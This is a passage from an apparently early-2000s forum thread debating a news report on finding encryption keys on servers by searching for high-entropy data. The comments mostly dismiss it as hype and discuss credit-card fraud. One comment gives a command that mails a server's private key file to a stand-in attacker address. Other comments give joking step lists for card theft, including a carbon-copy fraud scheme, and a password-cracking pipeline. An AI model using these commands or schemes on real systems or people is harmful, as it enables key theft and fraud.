    --
    Joel Maslak

  117. Q: e-com vs. phone order? A: cyberterrorism by MuppetBoy · · Score: 1

    Right. But cyber credit card theft is potentially dangerous in ways that personal CC number theft is not. Even if you work all day at stealing credit card numbers, you can only steal a handful when compared with a fully automated digital attack. The real risk is not with credit card users. It's with the banking industry. A serious attack that got say a million+ usable CC numbers could bankrupt even the largest credit card company or at least become the source of a truly /staggering/ problem. A "terrorist" might even be able to destabilize the whole economy if large-scale automated CC fraud were part of a well orchestrated attack.

    I personally don't see how we can avoid a really serious security meltdown on the internet. People are taking very large risks with technology that is not *fundamentally* secure. The only thing we /know/ will keep the internet secure at this point is not to have one. All this other "secutiry" is pure conjecture.

  118. Is this news? by Hobbex · · Score: 5


    The fact that encryption keys can be found in data by looking for strings with higher entropy then usual is not new. I have heard it several times, and I believe that this was how the "NSA_key" thing in the Win2K source code was discovered (remember that, MS let NSA authenticate their own crypto modules and people started screaming backdoor). If I'm not wrong, its even mentioned in 'Applied Cryptography'.

    The article says "root around looking for the keys", which I read as getting root to the server (I mean, who is going to keep code that contains crypto keys globally readable?) and that isn't exactly easy to begin with. And if your hosting server gets rooted your sort of fucked anyways...

    As far as the big deal over Credit Card numbers is concerned, I couldn't agree more. I don't know about you people, but I operate under the assumption that my credit card number is always in the hands of others. I mean, the security of a credit card number rests on the fact that "no one can remember 20 digits." Obscurity would be an infinite step up.

    Credit card numbers can be stolen by anyone who you shop at, anyone who goes through those shops or your trash, anyone who (with a little memorization training) is able to read your card, etc ad infinum. The whole system is based on the fact that credit cards numbers can be stolen but that its cheaper for the companies to take the loss then implement a smarter system. If that doesn't fit you shoe, then there is always cash...

    -
    We cannot reason ourselves out of our basic irrationality. All we can do is learn the art of being irrational in a reasonable way.

  119. bogus article by zzzeek · · Score: 5

    /. should post articles of higher quality than this. This article is very clearly nothing more an ad for a company with a dumb product (I say dumb because there should be a better argument for its usage other than this):

    Van Someren said nCipher decided to go after encryption keys because "we make products that redress these problems." The company offers a hardware solution to the problem of encryption-key security.

    Everyone here should know that "security through obscurity" is a foolish and invalid method of security. This article is particularly annoying with its "submarine" and "cold war" analogies as well as its mention of "increasing hacker ingenuity", as though finding a big file of encryption keys open to all users on a server is some high tech stealth technique from a Harrison Ford movie or something.

  120. Re:Informative! moderate this up! by James+Morris · · Score: 1

    Agreed.

  121. Re:Easy Solution by smurd · · Score: 2

    You probably have more security on line then in real life anyway. Its much easier to read the numbers off a recipt (and alot less technical) then to crack a system.
    About 10 years ago I worked for Radio Shack, there was a POS update to remove the name and address on a credit card recipt. Just imagine how much someone must have had to cause the update, hell, the only thing missing was a social security number.

    The only time I've been a victim of fraud was when I applyed for a mortgage, a month later someone was ordering Lands End and shipping it to Camden.

  122. .org not for Non-profits anymore by RonVNX · · Score: 1

    Slashdot is correctly using .org . The time when .org was "officially" different from .com has long since past. Go check it out at the Registry (Network Solutions). Same goes for .net . You got $70, you've got a name. They no longer care what you do with it.

  123. Muggers.... Where? Not here. by RonVNX · · Score: 1

    Since I'm here right next to New York City, let me assure you, your credit card is far *less* safe on the Internet than you are on the streets of Manhattan. Crime is down. I believe this is true in most large cities in the US.

  124. Re:Information wants to be free by jflynn · · Score: 1

    Yes, I think that would work. I can think of lots of schemes that would, but all are basically security thru obscurity. Once you know the method used to interleave the bits, it becomes easy to find them.

  125. Information wants to be free by jflynn · · Score: 2

    I guess this is an amusing (to those of us without credit cards, anyway) example of that :) Information, by its very nature, stands out from the redundant noise of the background and is hard to hide away.

    It seems to me that it should be possible to interleave the bits of the keys with a large quantity of non-random data, thereby masking its high information content. The trick of course is making the algorithm for which bits are real impossible to brute force. Unlike a one-time pad at least, only the server would need to know, e-commerce customers wouldn't.

  126. Improvement on the algorithm by Ronin+Developer · · Score: 1
    Method #2: * Get job at local store for approx. 1 hour

    * Obtain tools: pen, paper, or a good memory

    * Use tools to store credit card numbers

    * Use credit card numbers to purchase online pron

    To extend this algorithm to have it work with the customer present, do this...

    1) Get a job a local store for about and hour

    2) Arrange to have a phone ring in the back room hen a customer gives you their CC for purchase.

    3) Go into backroom and make two carbon copies of the CC. Hide one, give the other to the customer (about 15 seconds)

    4) Tell customer call was a wrong number.

    5) Complete the sale.

    6) A month or so later, break out the carbon, fill in an amount, sign it, and submit it.

    This algorithm works best in countries that don't have extensive CC fraud laws or the ability to enforce them.

    Trust me, I know. Happened to me while on deployment in Mediterranean (country unnamed).

    I returned to the US only to get a bill for $400 for goods I did not purchase. The CC company made me PROVE that I wasn't in the country at the time of the purchase.

    I had to get my signature notorized (the one on the slip wasn't even close), have a letter from my Commanding Officer that our ship wasn't in the area (we were in the US at the time of the supposed purchase) AND a letter from the ship's admin office showing that I was onboard the ship for that time period.

    All this because I let my CC out of sight for about 15 seconds and didn't report a fraud that I didn't know about in the required time period.

    Needless to say, I drop the CC company after the bill was paid.

  127. ...live happily ever after with Bubba 'n 'd boyz. by Shanep · · Score: 1

    Get caught, and you'll spend the rest of your short sorry life taking it up the rear many times a day with Bubba and the boyz in the local state pen. Ever wanted a tattoo of Elle McPherson on your back? :)

    --
    War crimes, torture, lies, illegal spying... Would someone give Bush a blowjob, already, so he can be impeached?
  128. If I read the article correctly... by wowbagger · · Score: 5
    If I read the article correctly, all this new "method" does is allow you to find the keys once you have cracked the server.


    Well, duh! Once I'm in, you have big problems. So, DON'T LET ME IN


    It is not as though this is a new means to attack a server and gain access, just a way, once you have access, to find what you want.


    And, if you store a bunch of data in compressed format (which also looks pretty random), then the search will be confused.


    "The sky is falling! The sky is falling!" Any modern journalist.

    1. Re:If I read the article correctly... by Relforn · · Score: 1

      So, DON'T LET ME IN

      The evidence shows that most computer crime of any significance is committed by insiders to the organisation that the crime is perpetrated again.

      Do you tell the guard at the entrance to your place of employment "So, just don't let me in!"?? Protection against exploits from within the system as just as important.

  129. Re:So keep your keys ASCII armored by Inoshiro · · Score: 2

    "If you *really* want to reduce the average entropy, you can use a full byte '0' or '1' for each bit. or two bytes, or three ... ad infinitum."

    Great, then some skript kiddie will use a tool to look for big-ish files filled with 1s and 0s (no other characters), and some st00pid news server will report it as another "huge hack."
    ---

    --
    --
    Internet Explorer (n): Another bug -- that is, a feature that can't be turned off -- in Windows.
  130. Consumers liability problems by mohrt · · Score: 1

    The consumer may not be directly liable, but in the end we pay for it. How do you think credit card companies compensate for lost revenue due to of fraudulent transactions? They raise the interest rates!

    I remember a friend of mine that left his credit card at a gas station and it got used at a local department store to buy hundreds of dollars in goods. He had enough information to track the guy down and bust him, but he opted to just cancel the card and get a new one, because he didn't have to worry about being liable. This kind of irresponsible behavior just makes the fraud worse and the interest rates higher for all of us.

  131. Another psuedo-hack by MobyDisk · · Score: 5

    To re-iterate. There are now two (2) ways to obtain credit card numbers:

    Method #1:
    * Crack into a highly secure server, likely behind a firewall (details left out, this part is easy)
    * Apply heuristics and a random number searching algorithm on the hard drive (heuristics + classic compression algorithms such as LZW will work here)
    * Use the keys to monitor transactions with this server and obtain credit card numbers
    * Use credit card numbers to purchase online pron

    Method #2:
    * Get job at local store for approx. 1 hour
    * Obtain tools: pen, paper, or a good memory
    * Use tools to store credit card numbers
    * Use credit card numbers to purchase online pron

    The opening of this new method, number one (1), could be a serious threat to e-commerce. It makes e-commerce almost 1% as dangerous as physical world purchases! I know I'll never type https:// again and feel safe. I'm doing my purchases with complete safety: over the phone.

    1. Re:Another psuedo-hack by fastpage · · Score: 2

      I've heard where when people were reporting stolen/lost credits over the phone to a credit card company that the person who was working for the credit card company was using those numbers to make purchases. The purchases were made before the numbers were flagged as lost/stolen. Because they were already lost/stolen all those purchases were just assumed to have been made by the person who stole the credit card. The only way they caught this person was that someone actually had their credit card returned after reporting it lost. And the owner of the credit card knew that the person who found their credit card hadn't made any purchases on it. So the credit card company tracked it down to someone working at the credit card company. So you have more to fear from people on the other end of the line then you do from technology. All this really does is undermine the confidence in credit cards and not e-commerce. Why aren't credit card companies coming out with more secure ways to doing transactions in person/over the phone/online?

  132. You're right by jlb · · Score: 1
    The major problem I see is the virtual servers that hold many sites into a single machine. Every site owner have access to run programs in the machine, if those sites are not properly secured one site owner could be able to exploit some known hole to be able to scan memory is search for other site owner's keys.

    I agree with most of what you're saying, but how is that any less secure than a dedicated server? Granted, there seem to be more locally exploitable security problems, but really, all that's being said here is "if the sites not secure, it's not secure and bad things can happen".

    Their heuristic technique is interesting and novel, but that's all. ZDnet is just trying to make more of a story than there is. "Someone developed a method of identifying the more-randomness of cryptographic keys among the pseudo-random crap that's in memory." That's all there is to this story. It has little-to-no security implications for your average e-commerce site.

    If someone has compromised the machine, then of course nothing on the machine is secure anymore.


    Now...I wonder if they can patent this. :)

  133. This is real by tug · · Score: 1

    nCifer published a paper describing this technique at the begining of last year - http://www.ncipher.com/products/files/papers/angui lla/keyhide2.pdf. This technique was used to show that Microsoft had two keys in its Crypto API .dll.

    If you can subvert a server then you can scan memory or the swap file for possible keys and post them back to the attacker. The search space is tiny compared to the whole of the server's file system.

  134. The path to hidden data? by Dr.+B · · Score: 1

    >Van Someren noted that it's possible that
    >others - hackers, in particular - already have
    >discovered the path to the once-hidden
    >encryption keys.

    If a cracker already has access to the server,
    why bother looking for really random data? Most
    webservers have a standard filename for the
    private key. Don't need much experience in
    information theory "find the path" to "hidden" keys. Eg:
    "cat `locate httpsd.pem` | sendmail cr4ck3r@evil.org"

    The smartest solution is to encrypt the private key and require the webmaster to decrypt it whenever the server's started. That way, a pilfered keyfile is worthless to the cracker.

    My log2(4) cents.

  135. Re:Informative! moderate this up! by Money__ · · Score: 1

    The above post is very informatie! moderate it up!
    _________________________

  136. These guys know there stuff, where's the proof? by Money__ · · Score: 3
    From the article:
    Alex Van Someren, president of nCipher in Cambridge, England, said the discovery of a method for retrieving encryption keys revolves around research conducted by his brother Nicko, chief technology officer and co-founder of nCipher, and Adi Shamir of the Weizmann Institute in Israel, co-inventor of the RSA encryption system, the base for much current encryption technology.

    This story reads pretty credible, but I have to wonder where the proof is. The article does draw an interesting analogy about submarines making themselvs more and more quiet untill the only way to "hear" them was to search for the "hole" in the water. They say that this same kind of aproach was used to find keys.

    This tmethidology seems logical, but it's implementation soes not. Does the reasercher point to his finished work?
    _________________________

  137. Re:YEAH RIGHT! WHAT A SCAM by Redundant() · · Score: 1

    It is too bad that commercial encryption doesn't use the "self destructing if tampered with" key archive approach that is used with the unbreakable category 4 encryption systems. I suppose we could improve the existing systems by immediately rewriting memory that was used for password entry and intermediate decryption results. Oh well, guess I'm going to have to study that chapter on pointers again.

  138. And? by Fnkmaster · · Score: 1
    This is nothing new. Keys are randomly generated. Testing strings for randomness is fairly easy, there are plenty of algorithms that can say "yes, this string has a random distribution of ASCII characters and fits the general profile of a 'key'". Perhaps I misunderstand the article, which is fairly lame, but it sounds like they have discovered a new way to recursively cat * | findrandom. That's nice. I suppose there is a problem with shared servers where lots of encryption keys are stored on the same server. They shouldn't be plaintext readable to everybody anyway. Bah. And you can cat /etc/passwd | dictionarycrack too. Design secure systems from the ground up. Don't whine about obvious vulnerabilities.

    Disclaimer: I may be totally off base here as this article is mighty vague. I have the utmost respect for Adi Shamir, one of the brightest cryptographers out there.

  139. Check cards bad by Tim+Behrendsen · · Score: 1

    The problem with check cards is that if someone steals it and makes fraudulant charges, that money comes straight out of your account. Sure, you can call the bank the credit your account, but how long does that take? Meanwhile, all your checks bounce.

    Credit cards are far superior, because it puts the bank at risk, not you.


    ---

  140. YEAH RIGHT! WHAT A SCAM by backslashdot · · Score: 1

    Ok, this is ridiculous .. how effective is the randomness seeking algorithm? How does it determine randomness? This only should affect steganography users. (People hiding their keys inside .gif files.) This too I doubt, and I would be very surprised if their algorithm can detected "pockets of randomness" within an compressed image file. I dont think many have assumed that their keys were safe because the key is hidden in some obscure directory, or a wierd filename. After all, by examining the application that accesses the key (a cracker should be able to access this also if he can run an program that can search the whole file system for "pockets of randomness"). Anyway. This is just a scam and I dont care if Adi Shamir supports it .. I do not think that it increases data vulnerability in a significant way. Ok, I gotta go delete the key I hid in the .jpg of my cat. -johan

  141. Not trusting the validity by Syn.Terra · · Score: 1
    First I've got problems with any article that has a header with a link to a "Y2K virus watch". Y2K was a virus? Sure, and hax0rs crashed the NASA mars lander.

    Second, in the second paragraph is this quote:

    "The revelation that hackers can break into servers and steal encryption keys could have repercussions throughout the electronic commerce landscape."

    So stealing credit cards from servers is now a revalation? It's the second paragraph and already they're pouring down the hype!

    Lastly, there have been several cases of credit card fraud where I live (New England) due to disgruntled office supply cashiers scribbling down credit card data when the customers go to the checkout line. But does that mean people stop using credit cards to buy things? Hardly.

    As if the idea of spending money was so radically new that old principles don't apply to e-commmerce...
    ------------

    --
    "Okay, who taught the cat how to type ctrl alt delete?"
  142. The most stupid thing I've ever heard by Troed · · Score: 1
    What was this all about? Finding the encrypted data on a server!

    *** The ENCRYPTED data ***

    All persons involved in this "discovery" should know that if the data is encrypted with good enough methods they could hand out that encrypted data to everyone on their website without risking being compromised!

    Stupid stupid stupid stupid.

    I'll go and decrypt all those nude photos I currently have encrypted using 128 bit IDEA on my harddrive now. Someone could search for their randomness and get hold of my encrypted data ... scary. They could even try to view that encrypted data with an image viewer and see ... well ... random noise.

    Go hide in the corner now, please.

  143. Re:A promise by Relforn · · Score: 1

    There you go, now, trying to redefine language to fit your agenda.

    A cracker is someone who breaks copy protection on games and programs that are copy protected.

    That definitiion is at LEAST as old as the subset of the definition of 'hacker' that you champion at the exclusion of all other definitions of the word.

  144. Re:A promise by B'Trey · · Score: 1
    To All: Oh Lord. Do you see what I mean? To this Anonymous Coward, that's the only definition of the word he knows.

    To Anonymous Coward: Most of the people who post on SlashDot use the geek culture definition of the word. To them, a hacker isn't someone who breaks into computers. That's a cracker. I won't try to define hacker: it's done much better here

    --

    "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

  145. Re:SO avoid the randomness? by B'Trey · · Score: 2

    Or store a 128bit key in a 1024bit location, mixing the actual key in with less random bits.

    --

    "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

  146. Re:Easy Solution by smack.addict · · Score: 3
    You are spreading ignorance and fear.
    • Most people can get credit cards with 9.9% interest or less.
    • Smart people pay no interest. They pay their credit card bills every month.
    • The safest means of commerce is to give your credit card info out over the internet.
    The safest means of commerce? Yes. You carry $100 on the street and get mugged, you lose $100 (as well as possibly your health or your life). If someone uses your credit card, however, you are liable for *at most* $50 in charges so long as you let the credit card company know.

    Furthermore, transmitting your CC# via SSL is more secure than giving it to a waiter or saying it over the phone.

  147. SO avoid the randomness? by B.T. · · Score: 2

    If the problem is that the keys are too random, all that is necessary is to make them arbitrary instead. Rather than a key string of "qliyufg;erqvb qfiyfiv b(&^$E*O11 651" use "the azure frog, jealous of a new day"Or, to get a bit more sophisticated (albeit while reducing the opportunity for creative writing), use an actual section of code as a key.

  148. A minor twig cut from the attack tree... by Antaeus+Feldspar · · Score: 1

    As others have pointed out, there's no big revelation here, or sudden big security hole... All it means is that if you could access private data before and put it through a brute force search, now you have a search that's a little bit more focused.

    Apparently what prompted the researchers to look for and announce this "problem" was the fact that they were already in the business of selling a "solution" for it. (That's not my cynicism speaking; that's in the article itself.) Well, I've got a solution for it too: generate a bunch of unneeded encryption keys from your other files and store them on the same volume. The encryption keys you're trying to hide no longer stand out by their randomness and you have an integrity check for the rest of your valuable data.

    --
    If people are to respect the law, perhaps the law should begin by respecting the people.
  149. The usual ying yang thing by DrSkwid · · Score: 1

    As usual we trade convenience / price for security.
    All a hacker would have to do [is] go into that server and root around looking for the keys of other companies.
    Surely if you managed to get access to the file system with this sort of clearance plenty of exloits are possible anyway. In my experience this is more likely with M$ based stuff than *nix, however it really just highlights how the majority of our systems are single user computers with multi-user capability tagged on.
    Storing CC numbers on a shared web server that also stores your key does sound a bit of a no-brainer to start with if it's security you're looking for!
    As for the story, it's a bit thin on detail and thick on supposition.
    .oO0Oo.

    --
    There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
  150. Original paper here. by andrejbauer · · Score: 2
    As usual the version of the news published "for the masses" does not actually tell us what is going on. Here is the original paper "Playing Hide and Seek with Stored Keys" by Adi Shamir and Nicko van Someren that the article is referring to. It's in PDF format. The abstract says:

    "In this paper we consider the problem of efficiently locating cryptographics keys hidden in gigabytes of data, such as the complete file system of a typical PC. We describe efficient algebraic attacks which can locate secret RSA keys in long bit strings, and more general statistical attacks which can find arbitrary cryptographic keys embedded in large programs. These techniques can be used to apply lunchtime attacks on signature keys used by financial institutes, or to defeat authentication type mechanisms in software packages."

    Now we actually now what this is about. As far as I am concerned, the interesting application would be if No Such Agency sifted communications channels of a planet to find the keys. They can afford to do it if it's computationally cheap enough.

  151. Another way? by gatz · · Score: 1

    I was thinking.. if you could find the dir with the keys and just get a list of it. (for example, sshd is in /etc which is usually gloabally listable), you could look at the files date and then go thru the sshd source code to find where it generates the key. It probably uses the time/date to seed the random number generator, you could repeat this process with that timestamp you found on the file and have it spit back the key!

  152. Well, this is pretty vague by vinyl1 · · Score: 1

    I see that some of the posters have assumed the keys are contained in the filesystem, while the rest are for searching memory. Well, which is it? If it's the filesystem, the obviously you've got to be root or administrator and have some way of running your programs on the target box. Not that easy, as many have said. If the keys are in memory, even if you're a hacker with all the privileges in the world, the address space of your evil program can't see other address spaces, unless you are a very tricky assembly language wizard. Either way, this is not for script kiddies.

    And if the ruthless crackers at the NSA want to find out your credit card number, they'll probably just call your bank and ask.

  153. What's sauce for the goose... by DunLurkin · · Score: 1

    From now on, let's all just refer to computer criminals as "journalists".

    --

    I am very much afraid that we live in interesting times.

  154. Easy Solution by spaceorb · · Score: 1

    Use checks or money orders. I personally do not own a credit card, because I think the interest on it is ridiculous and they are so easily prone to attack. This is just evidence that you are probably no safer giving out your credit card info over the internet than you are safe from getting mugged in a large city.

  155. Why did no-one think of this before? by DayDreamer · · Score: 1
    Much of the publicity on encryption breaking suggests brute force as the way to retrieve the information. This is of course workable with sufficient time and processing power.

    But retrieving the encryption keys is somewhat more worrisome. Suddenly for the relatively small effort of breaking into the server a hacker could access scores of encrypted files which would previously have taken ages to crack. Not only that, but apparently it's harder to detect such attacks.

    Passwords have been the weak link in computer security for some time now. Many users do not protect their password properly, or choose one easy to guess. Result: easy hacking. This isn't new, it's just another manifestation of the same old problem.

    --
    I don't have a sig.
  156. So keep your keys ASCII armored by Borgy · · Score: 4

    If you keep your keys in hexadecimal or base64 rather than binary, then the information content is maintained but is spread across a greater amount of data. This easily defeats the method. If you *really* want to reduce the average entropy, you can use a full byte '0' or '1' for each bit. or two bytes, or three ... ad infinitum.

  157. This article is fud... by tspilman · · Score: 1

    I would have to say that servers are most secure to this kind of key retrieval method. They seem to fail mentioning that you must first break into the system before you can search for the key. Well duhhh... if this guy has already hacked into your server your screwed. I would think that someone that helped to create RSA would be bright enough to realize that one out so i'm sure that it's the fault of zdnet's crack reporting team. I would be more concerned with software that keeps the decryption key on your local system like www.timelock.com or www.softlocx.com. Really all this does is remind people that randomness is a recognizable pattern and using a sentence is a better choice for a key.

    --
    Tom the Sigless
  158. Q: So who does it effect? A: Us? by Jett · · Score: 1

    So does that mean if some attack like this game, some large scale credit card scam designed to suck a huge amount of money out of the economy and create havok in the system, that ultimatly it would be us, THE PEOPLE who get shafted and not THE CORPORATIONS who run this shitty ass unsecure system? That is what it sounds like to me and if you ask me, that doesn't seem right.